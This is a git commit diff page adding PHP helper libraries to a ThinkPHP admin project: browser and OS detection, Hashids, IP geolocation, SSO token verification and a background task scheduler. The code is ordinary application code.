lip há 4 meses atrás
pai
commit
e91ca891cb
45 ficheiros alterados com 8328 adições e 2 exclusões
  1. 2 2
      extend/.gitignore
  2. 146 0
      extend/Agent.php
  3. 57 0
      extend/Hashids/HashGenerator.php
  4. 374 0
      extend/Hashids/Hashids.php
  5. 109 0
      extend/Ip.php
  6. 45 0
      extend/Sso.php
  7. 94 0
      extend/easyTask/Check.php
  8. 129 0
      extend/easyTask/Command.php
  9. 36 0
      extend/easyTask/Env.php
  10. 113 0
      extend/easyTask/Error.php
  11. 33 0
      extend/easyTask/Exception/ErrorException.php
  12. 503 0
      extend/easyTask/Helper.php
  13. 52 0
      extend/easyTask/Lock.php
  14. 307 0
      extend/easyTask/Process/Linux.php
  15. 252 0
      extend/easyTask/Process/Process.php
  16. 459 0
      extend/easyTask/Process/Win.php
  17. 87 0
      extend/easyTask/Queue.php
  18. 292 0
      extend/easyTask/Table.php
  19. 334 0
      extend/easyTask/Task.php
  20. 110 0
      extend/easyTask/Terminal.php
  21. 246 0
      extend/easyTask/Wpc.php
  22. 2 0
      extend/easyTask/WriteLog.php
  23. 164 0
      extend/easyTask/Wts.php
  24. BIN
      extend/ip/17monipdb.dat
  25. 292 0
      extend/ip/readme.txt
  26. 95 0
      extend/mail/Mail.php
  27. 57 0
      extend/mail/code.html
  28. 50 0
      extend/mail/temp.html
  29. 85 0
      extend/task/command/Task.php
  30. 443 0
      extend/think/AddonService.php
  31. 244 0
      extend/think/Addons.php
  32. 98 0
      extend/think/addons/Controller.php
  33. 74 0
      extend/think/addons/Route.php
  34. 31 0
      extend/utils/Aes.php
  35. 309 0
      extend/utils/Arr.php
  36. 59 0
      extend/utils/Check.php
  37. 49 0
      extend/utils/CheckTicket.php
  38. 98 0
      extend/utils/Curl.php
  39. 267 0
      extend/utils/File.php
  40. 86 0
      extend/utils/Regular.php
  41. 76 0
      extend/utils/Rsa.php
  42. 594 0
      extend/utils/Str.php
  43. 887 0
      extend/utils/Time.php
  44. 172 0
      extend/utils/Tree.php
  45. 316 0
      extend/utils/Utils.php

+ 2 - 2
extend/.gitignore

@@ -1,2 +1,2 @@
-*
-!.gitignore
+#*
+#!.gitignore

+ 146 - 0
extend/Agent.php

@@ -0,0 +1,146 @@
+<?php
+/**
+ * tpAdmin [a web admin based ThinkPHP5]
+ *
+ * @author yuan1994 <tianpian0805@gmail.com>
+ * @link http://tpadmin.yuan1994.com/
+ * @copyright 2016 yuan1994 all rights reserved.
+ * @license http://www.apache.org/licenses/LICENSE-2.0
+ */
+
+//------------------------
+// 根据user-agent获取浏览器版本,操作系统
+//-------------------------
+class Agent
+{
+    public static function getVesion($v){
+        if(isset($v[1])){
+            $version= $v[1];
+        }else{
+            $version=0;
+        }
+        return $version;
+    }
+    /**
+     * 获取客户端浏览器信息 添加win10 edge浏览器判断
+     * @param  null
+     * @author  Jea杨
+     * @return string
+     */
+    public static function getBroswer()
+    {
+        $sys = $_SERVER['HTTP_USER_AGENT'];  //获取用户代理字符串
+        if (stripos($sys, "Firefox/") > 0) {
+            preg_match("/Firefox\/([^;)]+)+/i", $sys, $v);
+            $exp[0] = "Firefox";
+            $exp[1]=self::getVesion($v);
+        } elseif (stripos($sys, "Maxthon") > 0) {
+            preg_match("/Maxthon\/([\d\.]+)/", $sys, $v);
+            $exp[0] = "傲游";
+            $exp[1]=self::getVesion($v);
+        } elseif (stripos($sys, "MSIE") > 0) {
+            preg_match("/MSIE\s+([^;)]+)+/i", $sys, $v);
+            $exp[0] = "IE";
+            $exp[1]=self::getVesion($v);
+        } elseif (stripos($sys, "OPR") > 0) {
+            preg_match("/OPR\/([\d\.]+)/", $sys, $v);
+            $exp[0] = "Opera";
+            $exp[1]=self::getVesion($v);
+        } elseif (stripos($sys, "Edge") > 0) {
+            //win10 Edge浏览器 添加了chrome内核标记 在判断Chrome之前匹配
+            preg_match("/Edge\/([\d\.]+)/", $sys, $v);
+            $exp[0] = "Edge";
+            $exp[1]=self::getVesion($v);
+        } elseif (stripos($sys, "Chrome") > 0) {
+            preg_match("/Chrome\/([\d\.]+)/", $sys, $v);
+            $exp[0] = "Chrome";
+            $exp[1]=self::getVesion($v);
+        } elseif (stripos($sys, 'rv:') > 0 && stripos($sys, 'Gecko') > 0) {
+            preg_match("/rv:([\d\.]+)/", $sys, $v);
+            $exp[0] = "IE";
+            $exp[1]=self::getVesion($v);
+        } elseif (stripos($sys, 'Safari') > 0) {
+            preg_match("/safari\/([^\s]+)/i", $sys, $v);
+            $exp[0] = "Safari";
+            $exp[1]=self::getVesion($v);
+        } else {
+            $exp[0] = "未知浏览器";
+            $exp[1] = "0";
+        }
+        return $exp[0] . '(' . $exp[1] . ')';
+    }
+
+    /**
+     * 获取客户端操作系统信息包括win10
+     * @param  null
+     * @author  Jea杨
+     * @return string
+     */
+    public static function getOs()
+    {
+        $agent = $_SERVER['HTTP_USER_AGENT'];
+
+        if (preg_match('/win/i', $agent) && strpos($agent, '95')) {
+            $os = 'Windows 95';
+        } else if (preg_match('/win 9x/i', $agent) && strpos($agent, '4.90')) {
+            $os = 'Windows ME';
+        } else if (preg_match('/win/i', $agent) && preg_match('/98/i', $agent)) {
+            $os = 'Windows 98';
+        } else if (preg_match('/win/i', $agent) && preg_match('/nt 6.0/i', $agent)) {
+            $os = 'Windows Vista';
+        } else if (preg_match('/win/i', $agent) && preg_match('/nt 6.1/i', $agent)) {
+            $os = 'Windows 7';
+        } else if (preg_match('/win/i', $agent) && preg_match('/nt 6.2/i', $agent)) {
+            $os = 'Windows 8';
+        } else if (preg_match('/win/i', $agent) && preg_match('/nt 10.0/i', $agent)) {
+            $os = 'Windows 10';#添加win10判断
+        } else if (preg_match('/win/i', $agent) && preg_match('/nt 5.1/i', $agent)) {
+            $os = 'Windows XP';
+        } else if (preg_match('/win/i', $agent) && preg_match('/nt 5/i', $agent)) {
+            $os = 'Windows 2000';
+        } else if (preg_match('/win/i', $agent) && preg_match('/nt/i', $agent)) {
+            $os = 'Windows NT';
+        } else if (preg_match('/win/i', $agent) && preg_match('/32/i', $agent)) {
+            $os = 'Windows 32';
+        } else if (preg_match('/linux/i', $agent)) {
+            $os = 'Linux';
+        } else if (preg_match('/unix/i', $agent)) {
+            $os = 'Unix';
+        } else if (preg_match('/sun/i', $agent) && preg_match('/os/i', $agent)) {
+            $os = 'SunOS';
+        } else if (preg_match('/ibm/i', $agent) && preg_match('/os/i', $agent)) {
+            $os = 'IBM OS/2';
+        } else if (preg_match('/Mac/i', $agent)) {
+            $os = 'Mac';
+        } else if (preg_match('/PowerPC/i', $agent)) {
+            $os = 'PowerPC';
+        } else if (preg_match('/AIX/i', $agent)) {
+            $os = 'AIX';
+        } else if (preg_match('/HPUX/i', $agent)) {
+            $os = 'HPUX';
+        } else if (preg_match('/NetBSD/i', $agent)) {
+            $os = 'NetBSD';
+        } else if (preg_match('/BSD/i', $agent)) {
+            $os = 'BSD';
+        } else if (preg_match('/OSF1/i', $agent)) {
+            $os = 'OSF1';
+        } else if (preg_match('/IRIX/i', $agent)) {
+            $os = 'IRIX';
+        } else if (preg_match('/FreeBSD/i', $agent)) {
+            $os = 'FreeBSD';
+        } else if (preg_match('/teleport/i', $agent)) {
+            $os = 'teleport';
+        } else if (preg_match('/flashget/i', $agent)) {
+            $os = 'flashget';
+        } else if (preg_match('/webzip/i', $agent)) {
+            $os = 'webzip';
+        } else if (preg_match('/offline/i', $agent)) {
+            $os = 'offline';
+        } elseif (preg_match('/ucweb|MQQBrowser|J2ME|IUC|3GW100|LG-MMS|i60|Motorola|MAUI|m9|ME860|maui|C8500|gt|k-touch|X8|htc|GT-S5660|UNTRUSTED|SCH|tianyu|lenovo|SAMSUNG/i', $agent)) {
+            $os = 'mobile';
+        } else {
+            $os = '未知操作系统';
+        }
+        return $os;
+    }
+}

+ 57 - 0
extend/Hashids/HashGenerator.php

@@ -0,0 +1,57 @@
+<?php
+
+/*
+	
+	Hashids
+	http://hashids.org/php
+	(c) 2013 Ivan Akimov
+	
+	https://github.com/ivanakimov/hashids.php
+	hashids may be freely distributed under the MIT license.
+	
+*/
+
+namespace Hashids;
+
+/**
+ * HashGenerator is a contract for generating hashes
+ */
+interface HashGenerator {
+	
+	/**
+	 * Encodes a variable number of parameters to generate a hash
+	 * 
+	 * @param mixed ...
+	 * 
+	 * @return string the generated hash
+	 */
+	public function encode();
+	
+	/**
+	 * Decodes a hash to the original parameter values
+	 * 
+	 * @param string $hash the hash to decode
+	 * 
+	 * @return array
+	 */
+	public function decode($hash);
+	
+	/**
+	 * Encodes hexadecimal values to generate a hash
+	 * 
+	 * @param string $str hexadecimal string
+	 * 
+	 * @return string the generated hash
+	 */
+	public function encode_hex($str);
+	
+	/**
+	 * Decodes hexadecimal hash
+	 * 
+	 * @param string $hash
+	 * 
+	 * @return string hexadecimal string
+	 */
+	public function decode_hex($hash);
+	
+}

+ 374 - 0
extend/Hashids/Hashids.php

@@ -0,0 +1,374 @@
+<?php
+
+/*
+	
+	Hashids
+	http://hashids.org/php
+	(c) 2013 Ivan Akimov
+	
+	https://github.com/ivanakimov/hashids.php
+	hashids may be freely distributed under the MIT license.
+	
+*/
+
+namespace Hashids;
+
+class Hashids implements HashGenerator {
+	
+	const VERSION = '1.0.5';
+	
+	/* internal settings */
+	
+	const MIN_ALPHABET_LENGTH = 16;
+	const SEP_DIV = 3.5;
+	const GUARD_DIV = 12;
+	
+	/* error messages */
+	
+	const E_ALPHABET_LENGTH = 'alphabet must contain at least %d unique characters';
+	const E_ALPHABET_SPACE = 'alphabet cannot contain spaces';
+	
+	/* set at constructor */
+	
+	private $_alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
+	private $_seps = 'cfhistuCFHISTU';
+	private $_min_hash_length = 0;
+	private $_math_functions = array();
+	private $_max_int_value = 1000000000;
+
+    private static $instance; //单例
+
+    /**
+     * 初始化
+     * @param array $options
+     * @return static
+     */
+    public static function instance($length = null, $salt = null, $alphabet = null)
+    {
+        if (is_null(self::$instance)) {
+            if ($length === null) $length = config("hashids.length");
+            if ($salt === null) $salt = config("hashids.salt");
+            if ($alphabet === null) $alphabet = config("hashids.alphabet");
+
+            self::$instance = new static($salt, $length, $alphabet);
+        }
+        return self::$instance;
+    }
+	
+	public function __construct($salt = '', $min_hash_length = 8, $alphabet = '') {
+		
+		/* if either math precision library is present, raise $this->_max_int_value */
+		
+		if (function_exists('gmp_add')) {
+			$this->_math_functions['add'] = 'gmp_add';
+			$this->_math_functions['div'] = 'gmp_div';
+			$this->_math_functions['str'] = 'gmp_strval';
+		} else if (function_exists('bcadd')) {
+			$this->_math_functions['add'] = 'bcadd';
+			$this->_math_functions['div'] = 'bcdiv';
+			$this->_math_functions['str'] = 'strval';
+		}
+		
+		$this->_lower_max_int_value = $this->_max_int_value;
+		if ($this->_math_functions) {
+			$this->_max_int_value = PHP_INT_MAX;
+		}
+		
+		/* handle parameters */
+		
+		$this->_salt = $salt;
+		
+		if ((int)$min_hash_length > 0) {
+			$this->_min_hash_length = (int)$min_hash_length;
+		}
+		
+		if ($alphabet) {
+			$this->_alphabet = implode('', array_unique(str_split($alphabet)));
+		}
+		
+		if (strlen($this->_alphabet) < self::MIN_ALPHABET_LENGTH) {
+			throw new \Exception(sprintf(self::E_ALPHABET_LENGTH, self::MIN_ALPHABET_LENGTH));
+		}
+		
+		if (is_int(strpos($this->_alphabet, ' '))) {
+			throw new \Exception(self::E_ALPHABET_SPACE);
+		}
+		
+		$alphabet_array = str_split($this->_alphabet);
+		$seps_array = str_split($this->_seps);
+		
+		$this->_seps = implode('', array_intersect($alphabet_array, $seps_array));
+		$this->_alphabet = implode('', array_diff($alphabet_array, $seps_array));
+		$this->_seps = $this->_consistent_shuffle($this->_seps, $this->_salt);
+		
+		if (!$this->_seps || (strlen($this->_alphabet) / strlen($this->_seps)) > self::SEP_DIV) {
+			
+			$seps_length = (int)ceil(strlen($this->_alphabet) / self::SEP_DIV);
+			
+			if ($seps_length == 1) {
+				$seps_length++;
+			}
+			
+			if ($seps_length > strlen($this->_seps)) {
+				
+				$diff = $seps_length - strlen($this->_seps);
+				$this->_seps .= substr($this->_alphabet, 0, $diff);
+				$this->_alphabet = substr($this->_alphabet, $diff);
+				
+			} else {
+				$this->_seps = substr($this->_seps, 0, $seps_length);
+			}
+			
+		}
+		
+		$this->_alphabet = $this->_consistent_shuffle($this->_alphabet, $this->_salt);
+		$guard_count = (int)ceil(strlen($this->_alphabet) / self::GUARD_DIV);
+		
+		if (strlen($this->_alphabet) < 3) {
+			$this->_guards = substr($this->_seps, 0, $guard_count);
+			$this->_seps = substr($this->_seps, $guard_count);
+		} else {
+			$this->_guards = substr($this->_alphabet, 0, $guard_count);
+			$this->_alphabet = substr($this->_alphabet, $guard_count);
+		}
+		
+	}
+	
+	public function encode() {
+		
+		$ret = '';
+		$numbers = func_get_args();
+		
+		if (func_num_args() == 1 && is_array(func_get_arg(0))) {
+			$numbers = $numbers[0];
+		}
+		
+		if (!$numbers) {
+			return $ret;
+		}
+		
+		foreach ($numbers as $number) {
+			
+			$is_number = ctype_digit((string)$number);
+			
+			if (!$is_number || $number < 0 || $number > $this->_max_int_value) {
+				return $ret;
+			}
+			
+		}
+		
+		return $this->_encode($numbers);
+		
+	}
+	
+	public function decode($hash) {
+		
+		$ret = array();
+		
+		if (!$hash || !is_string($hash) || !trim($hash)) {
+			return $ret;
+		}
+		
+		return $this->_decode(trim($hash), $this->_alphabet);
+		
+	}
+	
+	public function encode_hex($str) {
+		
+		if (!ctype_xdigit((string)$str)) {
+			return '';
+		}
+		
+		$numbers = trim(chunk_split($str, 12, ' '));
+		$numbers = explode(' ', $numbers);
+		
+		foreach ($numbers as $i => $number) {
+			$numbers[$i] = hexdec('1' . $number);
+		}
+		
+		return call_user_func_array(array($this, 'encode'), $numbers);
+		
+	}
+	
+	public function decode_hex($hash) {
+		
+		$ret = "";
+		$numbers = $this->decode($hash);
+		
+		foreach ($numbers as $i => $number) {
+			$ret .= substr(dechex($number), 1);
+		}
+		
+		return $ret;
+		
+	}
+	
+	public function get_max_int_value() {
+		return $this->_max_int_value;
+	}
+	
+	private function _encode(array $numbers) {
+		
+		$alphabet = $this->_alphabet;
+		$numbers_size = sizeof($numbers);
+		$numbers_hash_int = 0;
+		
+		foreach ($numbers as $i => $number) {
+			$numbers_hash_int += ($number % ($i + 100));
+		}
+		
+		$lottery = $ret = $alphabet[$numbers_hash_int % strlen($alphabet)];
+		foreach ($numbers as $i => $number) {
+			
+			$alphabet = $this->_consistent_shuffle($alphabet, substr($lottery . $this->_salt . $alphabet, 0, strlen($alphabet)));
+			$ret .= $last = $this->_hash($number, $alphabet);
+			
+			if ($i + 1 < $numbers_size) {
+				$number %= (ord($last) + $i);
+				$seps_index = $number % strlen($this->_seps);
+				$ret .= $this->_seps[$seps_index];
+			}
+			
+		}
+		
+		if (strlen($ret) < $this->_min_hash_length) {
+			
+			$guard_index = ($numbers_hash_int + ord($ret[0])) % strlen($this->_guards);
+			
+			$guard = $this->_guards[$guard_index];
+			$ret = $guard . $ret;
+			
+			if (strlen($ret) < $this->_min_hash_length) {
+				
+				$guard_index = ($numbers_hash_int + ord($ret[2])) % strlen($this->_guards);
+				$guard = $this->_guards[$guard_index];
+				
+				$ret .= $guard;
+				
+			}
+			
+		}
+		
+		$half_length = (int)(strlen($alphabet) / 2);
+		while (strlen($ret) < $this->_min_hash_length) {
+			
+			$alphabet = $this->_consistent_shuffle($alphabet, $alphabet);
+			$ret = substr($alphabet, $half_length) . $ret . substr($alphabet, 0, $half_length);
+			
+			$excess = strlen($ret) - $this->_min_hash_length;
+			if ($excess > 0) {
+				$ret = substr($ret, $excess / 2, $this->_min_hash_length);
+			}
+			
+		}
+		
+		return $ret;
+		
+	}
+	
+	private function _decode($hash, $alphabet) {
+		
+		$ret = array();
+		
+		$hash_breakdown = str_replace(str_split($this->_guards), ' ', $hash);
+		$hash_array = explode(' ', $hash_breakdown);
+		
+		$i = 0;
+		if (sizeof($hash_array) == 3 || sizeof($hash_array) == 2) {
+			$i = 1;
+		}
+		
+		$hash_breakdown = $hash_array[$i];
+		if (isset($hash_breakdown[0])) {
+			
+			$lottery = $hash_breakdown[0];
+			$hash_breakdown = substr($hash_breakdown, 1);
+			
+			$hash_breakdown = str_replace(str_split($this->_seps), ' ', $hash_breakdown);
+			$hash_array = explode(' ', $hash_breakdown);
+			
+			foreach ($hash_array as $sub_hash) {
+				$alphabet = $this->_consistent_shuffle($alphabet, substr($lottery . $this->_salt . $alphabet, 0, strlen($alphabet)));
+				$ret[] = (int)$this->_unhash($sub_hash, $alphabet);
+			}
+			
+			if ($this->_encode($ret) != $hash) {
+				$ret = array();
+			}
+			
+		}
+		
+//		return $ret;
+        //修改为直接返回字符串
+		return $ret[0];
+
+	}
+	
+	private function _consistent_shuffle($alphabet, $salt) {
+		
+		if (!strlen($salt)) {
+			return $alphabet;
+		}
+		
+		for ($i = strlen($alphabet) - 1, $v = 0, $p = 0; $i > 0; $i--, $v++) {
+			
+			$v %= strlen($salt);
+			$p += $int = ord($salt[$v]);
+			$j = ($int + $v + $p) % $i;
+			
+			$temp = $alphabet[$j];
+			$alphabet[$j] = $alphabet[$i];
+			$alphabet[$i] = $temp;
+			
+		}
+		
+		return $alphabet;
+		
+	}
+	
+	private function _hash($input, $alphabet) {
+		
+		$hash = '';
+		$alphabet_length = strlen($alphabet);
+		
+		do {
+			
+			$hash = $alphabet[$input % $alphabet_length] . $hash;
+			if ($input > $this->_lower_max_int_value && $this->_math_functions) {
+				$input = $this->_math_functions['str']($this->_math_functions['div']($input, $alphabet_length));
+			} else {
+				$input = (int)($input / $alphabet_length);
+			}
+			
+		} while ($input);
+		
+		return $hash;
+		
+	}
+	
+	private function _unhash($input, $alphabet) {
+		
+		$number = 0;
+		if (strlen($input) && $alphabet) {
+			
+			$alphabet_length = strlen($alphabet);
+			$input_chars = str_split($input);
+			
+			foreach ($input_chars as $i => $char) {
+				
+				$pos = strpos($alphabet, $char);
+				if ($this->_math_functions) {
+					$number = $this->_math_functions['str']($this->_math_functions['add']($number, $pos * pow($alphabet_length, (strlen($input) - $i - 1))));
+				} else {
+					$number += $pos * pow($alphabet_length, (strlen($input) - $i - 1));
+				}
+				
+			}
+			
+		}
+		
+		return $number;
+		
+	}
+	
+}

+ 109 - 0
extend/Ip.php

@@ -0,0 +1,109 @@
+<?php
+
+/*
+    全球 IPv4 地址归属地数据库(17MON.CN 版)
+    高春辉(pAUL gAO) <gaochunhui@gmail.com>
+    Build 20141009 版权所有 17MON.CN
+    (C) 2006 - 2014 保留所有权利
+    请注意及时更新 IP 数据库版本
+    数据问题请加 QQ 群: 346280296
+    Code for PHP 5.3+ only
+*/
+
+class Ip
+{
+    private static $ip     = NULL;
+
+    private static $fp     = NULL;
+    private static $offset = NULL;
+    private static $index  = NULL;
+
+    private static $cached = array();
+
+    public static function find($ip)
+    {
+        if (empty($ip) === TRUE)
+        {
+            return 'N/A';
+        }
+
+        $nip   = gethostbyname($ip);
+        $ipdot = explode('.', $nip);
+
+        if ($ipdot[0] < 0 || $ipdot[0] > 255 || count($ipdot) !== 4)
+        {
+            return 'N/A';
+        }
+
+        if (isset(self::$cached[$nip]) === TRUE)
+        {
+            return self::$cached[$nip];
+        }
+
+        if (self::$fp === NULL)
+        {
+            self::init();
+        }
+
+        $nip2 = pack('N', ip2long($nip));
+
+        $tmp_offset = (int)$ipdot[0] * 4;
+        $start      = unpack('Vlen', self::$index[$tmp_offset] . self::$index[$tmp_offset + 1] . self::$index[$tmp_offset + 2] . self::$index[$tmp_offset + 3]);
+
+        $index_offset = $index_length = NULL;
+        $max_comp_len = self::$offset['len'] - 1024 - 4;
+        for ($start = $start['len'] * 8 + 1024; $start < $max_comp_len; $start += 8)
+        {
+            if (self::$index[$start] . self::$index[$start + 1] . self::$index[$start + 2] . self::$index[$start + 3] >= $nip2)
+            {
+                $index_offset = unpack('Vlen', self::$index[$start + 4] . self::$index[$start + 5] . self::$index[$start + 6] . "\x0");
+                $index_length = unpack('Clen', self::$index[$start + 7]);
+
+                break;
+            }
+        }
+
+        if ($index_offset === NULL)
+        {
+            return 'N/A';
+        }
+
+        fseek(self::$fp, self::$offset['len'] + $index_offset['len'] - 1024);
+
+        self::$cached[$nip] = explode("\t", fread(self::$fp, $index_length['len']));
+
+        return self::$cached[$nip];
+    }
+
+    private static function init()
+    {
+        if (self::$fp === NULL)
+        {
+            self::$ip = new self();
+
+            self::$fp = fopen(__DIR__ . '/ip/17monipdb.dat', 'rb');
+            if (self::$fp === FALSE)
+            {
+                throw new Exception('Invalid 17monipdb.dat file!');
+            }
+
+            self::$offset = unpack('Nlen', fread(self::$fp, 4));
+            if (self::$offset['len'] < 4)
+            {
+                throw new Exception('Invalid 17monipdb.dat file!');
+            }
+
+            self::$index = fread(self::$fp, self::$offset['len'] - 4);
+        }
+    }
+
+    public function __destruct()
+    {
+        if (self::$fp !== NULL)
+        {
+            fclose(self::$fp);
+        }
+    }
+}
+
+?>

+ 45 - 0
extend/Sso.php

@@ -0,0 +1,45 @@
+<?php
+
+/*
+ 单点登录token验证登录状态
+*/
+
+class Sso
+{
+    private static $host = "https://sso.lcoce.com";
+
+    public static function verify($ssoToken)
+    {
+        $data=[
+            'ssoToken'=>$ssoToken
+        ];
+        $result=curl_post(self::$host.'/verify',$data);
+        $info=json_decode($result,true);
+        
+        return $info;
+    }
+
+
+    // 封装post请求
+    public static function curl_post($url,$params){
+        $headers=array(
+            "Content-Type:application/x-www-form-urlencoded",
+        );
+        $ch = curl_init ();
+    
+        curl_setopt ( $ch, CURLOPT_URL, $url );
+        curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
+        curl_setopt ( $ch, CURLOPT_CUSTOMREQUEST, 'POST' );
+        curl_setopt ( $ch, CURLOPT_POSTFIELDS, $params );
+        curl_setopt ( $ch, CURLOPT_HTTPHEADER, $headers );
+        curl_setopt ( $ch, CURLOPT_TIMEOUT, 60 );
+    
+        $result = curl_exec ( $ch );
+        curl_close ( $ch );
+    
+        return $result;
+    }
+  
+}
+
+?>

+ 94 - 0
extend/easyTask/Check.php

@@ -0,0 +1,94 @@
+<?php
+namespace easyTask;
+
+/**
+ * Class Check
+ * @package easyTask
+ */
+class Check
+{
+    /**
+     * 待检查扩展列表
+     * @var array
+     */
+    private static $waitExtends = [
+        //Win
+        '1' => [
+            'json',
+            'curl',
+            'com_dotnet',
+            'mbstring',
+        ],
+        //Linux
+        '2' => [
+            'json',
+            'curl',
+            'pcntl',
+            'posix',
+            'mbstring',
+        ]
+    ];
+
+    /**
+     * 待检查函数列表
+     * @var array
+     */
+    private static $waitFunctions = [
+        //Win
+        '1' => [
+            'umask',
+            'sleep',
+            'usleep',
+            'ob_start',
+            'ob_end_clean',
+            'ob_get_contents',
+        ],
+        //Linux
+        '2' => [
+            'umask',
+            'chdir',
+            'sleep',
+            'usleep',
+            'ob_start',
+            'ob_end_clean',
+            'ob_get_contents',
+            'pcntl_fork',
+            'posix_setsid',
+            'posix_getpid',
+            'posix_getppid',
+            'pcntl_wait',
+            'posix_kill',
+            'pcntl_signal',
+            'pcntl_alarm',
+            'pcntl_waitpid',
+            'pcntl_signal_dispatch',
+        ]
+    ];
+
+    /**
+     *  解析运行环境
+     * @param int $currentOs
+     */
+    public static function analysis($currentOs)
+    {
+        //检查扩展
+        $waitExtends = static::$waitExtends[$currentOs];
+        foreach ($waitExtends as $extend)
+        {
+            if (!extension_loaded($extend))
+            {
+                Helper::showSysError("php_{$extend}.(dll/so) is not load,please check php.ini file");
+            }
+        }
+        //检查函数
+        $waitFunctions = static::$waitFunctions[$currentOs];
+        foreach ($waitFunctions as $func)
+        {
+            if (!function_exists($func))
+            {
+                Helper::showSysError("function $func may be disabled,please check disable_functions in php.ini");
+            }
+        }
+    }
+}
+

+ 129 - 0
extend/easyTask/Command.php

@@ -0,0 +1,129 @@
+<?php
+namespace easyTask;
+
+use \Closure as Closure;
+
+/**
+ * Class Command
+ * @package easyTask
+ */
+class Command
+{
+    /**
+     * 通讯文件
+     */
+    private $msgFile;
+
+    /**
+     * 构造函数
+     * @throws
+     */
+    public function __construct()
+    {
+        $this->initMsgFile();
+    }
+
+    /**
+     * 初始化文件
+     */
+    private function initMsgFile()
+    {
+        //创建文件
+        $path = Helper::getCsgPath();
+        $file = $path . '%s.csg';
+        $this->msgFile = sprintf($file, md5(__FILE__));
+        if (!file_exists($this->msgFile))
+        {
+            if (!file_put_contents($this->msgFile, '[]', LOCK_EX))
+            {
+                Helper::showError('failed to create msgFile');
+            }
+        }
+    }
+
+    /**
+     * 获取数据
+     * @return array
+     * @throws
+     */
+    public function get()
+    {
+        $content = @file_get_contents($this->msgFile);
+        if (!$content)
+        {
+            return [];
+        }
+        $data = json_decode($content, true);
+        return is_array($data) ? $data : [];
+    }
+
+    /**
+     * 重置数据
+     * @param array $data
+     */
+    public function set($data)
+    {
+        file_put_contents($this->msgFile, json_encode($data), LOCK_EX);
+    }
+
+    /**
+     * 投递数据
+     * @param array $command
+     */
+    public function push($command)
+    {
+        $data = $this->get();
+        array_push($data, $command);
+        $this->set($data);
+    }
+
+    /**
+     * 发送命令
+     * @param array $command
+     */
+    public function send($command)
+    {
+        $command['time'] = time();
+        $this->push($command);
+    }
+
+    /**
+     * 接收命令
+     * @param string $msgType 消息类型
+     * @param mixed $command 收到的命令
+     */
+    public function receive($msgType, &$command)
+    {
+        $data = $this->get();
+        if (empty($data)) {
+            return;
+        }
+        foreach ($data as $key => $item)
+        {
+            if ($item['msgType'] == $msgType)
+            {
+                $command = $item;
+                unset($data[$key]);
+                break;
+            }
+        }
+        $this->set($data);
+    }
+
+    /**
+     * 根据命令执行对应操作
+     * @param int $msgType 消息类型
+     * @param Closure $func 执行函数
+     * @param int $time 等待方时间戳
+     */
+    public function waitCommandForExecute($msgType, $func, $time)
+    {
+        $command = '';
+        $this->receive($msgType, $command);
+        if (!$command || (!empty($command['time']) && $command['time'] < $time))
+        {
+            return;
+        }
+        $func($command);
+    }
+}

+ 36 - 0
extend/easyTask/Env.php

@@ -0,0 +1,36 @@
+<?php
+namespace easyTask;
+
+/**
+ * Class Env
+ * @package easyTask
+ */
+class Env
+{
+
+    /**
+     * collection
+     * @var array
+     */
+    private static $collection;
+
+    /**
+     * Set
+     * @param string $key
+     * @param mixed $value
+     */
+    public static function set($key, $value)
+    {
+        static::$collection[$key] = $value;
+    }
+
+    /**
+     * Get
+     * @param string $key
+     * @return mixed
+     */
+    public static function get($key)
+    {
+        return isset(static::$collection[$key]) ? static::$collection[$key] : false;
+    }
+}

+ 113 - 0
extend/easyTask/Error.php

@@ -0,0 +1,113 @@
+<?php
+namespace easyTask;
+
+use easyTask\Exception\ErrorException;
+use \Closure as Closure;
+
+/**
+ * Class Error
+ * @package easyTask
+ */
+class Error
+{
+
+    /**
+     * Register Error
+     */
+    public static function register()
+    {
+        error_reporting(E_ALL);
+        set_error_handler([__CLASS__, 'appError']);
+        set_exception_handler([__CLASS__, 'appException']);
+        register_shutdown_function([__CLASS__, 'appShutdown']);
+    }
+
+    /**
+     * appError
+     * (E_ERROR|E_PARSE|E_CORE_ERROR|E_CORE_WARNING|E_COMPILE_ERROR|E_COMPILE_WARNING|E_STRICT)
+     * @param string $errno
+     * @param string $errStr
+     * @param string $errFile
+     * @param int $errLine
+     * @throws
+     */
+    public static function appError($errno, $errStr, $errFile, $errLine)
+    {
+        //组装异常
+        $type = 'error';
+        $exception = new ErrorException($errno, $errStr, $errFile, $errLine);
+
+        //日志记录
+        static::report($type, $exception);
+    }
+
+    /**
+     * appException
+     * @param mixed $exception (Exception|Throwable)
+     * @throws
+     */
+    public static function appException($exception)
+    {
+        //日志记录
+        $type = 'exception';
+        static::report($type, $exception);
+    }
+
+    /**
+     * appShutdown
+     * (Fatal Error|Parse Error)
+     * @throws
+     */
+    public static function appShutdown()
+    {
+        //存在错误
+        $type = 'warring';
+        if (($error = error_get_last()) != null)
+        {
+            //日志记录
+            $exception = new ErrorException($error['type'], $error['message'], $error['file'], $error['line']);
+            static::report($type, $exception);
+        }
+    }
+
+    /**
+     * Report
+     * @param string $type
+     * @param ErrorException $exception
+     */
+    public static function report($type, $exception)
+    {
+        //标准化日志
+        $text = Helper::formatException($exception, $type);
+
+        //本地日志储存
+        Helper::writeLog($text);
+
+        //同步模式输出
+        if (!Env::get('daemon')) echo($text);
+
+        //回调上报信息
+        $notify = Env::get('notifyHand');
+        if ($notify)
+        {
+            //闭包回调
+            if ($notify instanceof Closure)
+            {
+                $notify($exception);
+                return;
+            }
+
+            //Http回调
+            $request = [
+                'errStr' => $exception->getMessage(),
+                'errFile' => $exception->getFile(),
+                'errLine' => $exception->getLine(),
+            ];
+            $result = Helper::curl($notify, $request);
+            if (!$result || $result != 'success')
+            {
+                Helper::showError("request http api $notify failed", false, 'warring', true);
+            }
+        }
+    }
+}

+ 33 - 0
extend/easyTask/Exception/ErrorException.php

@@ -0,0 +1,33 @@
+<?php
+namespace easyTask\Exception;
+
+/**
+ * Class ErrorException
+ * @package EasyTask\Exception
+ */
+class ErrorException extends \Exception
+{
+    /**
+     * 错误级别
+     * @var int
+     */
+    protected $severity;
+
+    /**
+     * 构造函数
+     * ErrorException constructor.
+     * @param string $severity
+     * @param string $errStr
+     * @param string $errFile
+     * @param string $errLine
+     */
+    public function __construct($severity, $errStr, $errFile, $errLine)
+    {
+        $this->line = $errLine;
+        $this->file = $errFile;
+        $this->code = 0;
+        $this->message = $errStr;
+        $this->severity = $severity;
+    }
+}
+

+ 503 - 0
extend/easyTask/Helper.php

@@ -0,0 +1,503 @@
+<?php
+
